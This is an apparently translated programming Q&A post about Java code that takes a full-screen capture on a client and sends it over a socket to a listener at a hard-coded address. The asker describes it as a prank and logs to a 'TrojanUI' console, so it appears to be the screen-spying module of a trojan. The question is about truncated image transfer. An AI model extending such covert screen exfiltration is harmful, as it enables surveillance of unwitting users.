【发布时间】:2019-04-14 21:29:44
【问题描述】:
我正在开发一个恶作剧程序,但无论如何还是有用的。
我目前正在尝试做的是从客户端获取屏幕截图并在服务器上将屏幕截图作为 JFrame 打开。
经过多次尝试,我发现了这个未解决的问题How to send images through sockets in java?。
屏幕截图通过了,但它被切碎了,只有大约 120-135kb 可以通过。在投票最多的答案中,他在关闭连接之前在客户端有Thread.sleep(),但我在没有它的情况下尝试了它,结果它被切碎了,所以我在他放的时候尝试了它,但它仍然被切碎了。我读取输入数据的客户端类处于循环状态,每 100 毫秒运行一次,所以我认为它循环太快,所以我将其增加到 1000 毫秒,但它仍然被切断。
我在同一个线程上用另一个答案尝试了不同的东西,并在服务器端将ImageIO.read(new ByteArrayInputStream(imageAr)) 更改为ImageIO.read(new ByteArrayInputStream(imageAr)),但当时没有图像进来。
这是我开始时尝试的原始方法之一,但这根本不起作用! https://javabelazy.blogspot.com/2013/10/sending-screenshot-from-client-to.html.
服务器
package UI;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ViewScreen implements Runnable{
private static Thread t;
@Override
public void run(){
//Screenshot Frame
final JFrame frame = new JFrame();
frame.setSize(500, 500);
frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
t = new Thread(){
public void run(){
try{
int port = 6667;
ServerSocket serverSocket = new ServerSocket(port);
Socket server = serverSocket.accept();
TrojanUI.console.append("[*]Waiting for screenshot on port " + serverSocket.getLocalPort() + "...\n");
DataInputStream in = new DataInputStream(server.getInputStream());
DataOutputStream out = new DataOutputStream(server.getOutputStream());
byte[] sizeAr = new byte[4];
in.read(sizeAr);
int size = ByteBuffer.wrap(sizeAr).asIntBuffer().get();
byte[] imageAr = new byte[size];
in.read(imageAr);
BufferedImage image = ImageIO.read(new ByteArrayInputStream(imageAr));
ImageIO.write(image, "jpg", new File("screen.jpg"));
server.close();
JLabel label = new JLabel();
label.setIcon(new ImageIcon(image));
frame.getContentPane().add(label);
}catch(IOException e){
e.printStackTrace();
}
}
};
t.start();
frame.setVisible(true);
}
}
这部分服务器代码是一个新线程,创建一个新的socket和一个新的JFrame来显示截图。我为什么要这样做?在另一个线程上,我读到只有在套接字关闭时才会发送图像。因此,由于我不想关闭主套接字,否则我会失去连接,因此我创建了另一个套接字,该套接字将暂时打开,仅用于流式传输屏幕截图。
客户
package tc;
import java.awt.AWTException;
import java.awt.HeadlessException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.ByteBuffer;
import javax.imageio.ImageIO;
public class SendScreen{
public SendScreen(){
try{
//creates new socket on port 6667
Socket sclient = new Socket("192.168.0.5",6667);
OutputStream sOutToServer = sclient.getOutputStream();
DataOutputStream out = new DataOutputStream(sOutToServer);
InputStream sInFromServer = sclient.getInputStream();
DataInputStream in = new DataInputStream(sInFromServer);
//Takes screenshot and sends it to server as byte array
BufferedImage screencap = new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(screencap,"jpg",baos);
//Gets screenshot byte size and sends it to server and flushes then closes the connection
byte[] size = ByteBuffer.allocate(4).putInt(baos.size()).array();
out.write(size);
out.write(baos.toByteArray());
out.flush();
sclient.close();
}catch(HeadlessException | AWTException | IOException e){
e.printStackTrace();
}
}
}
在服务器端,我添加了另一行,用于在本地创建图像,以便在出现问题时进行故障排除。
提前致谢
【问题讨论】:
标签: java sockets screenshot serversocket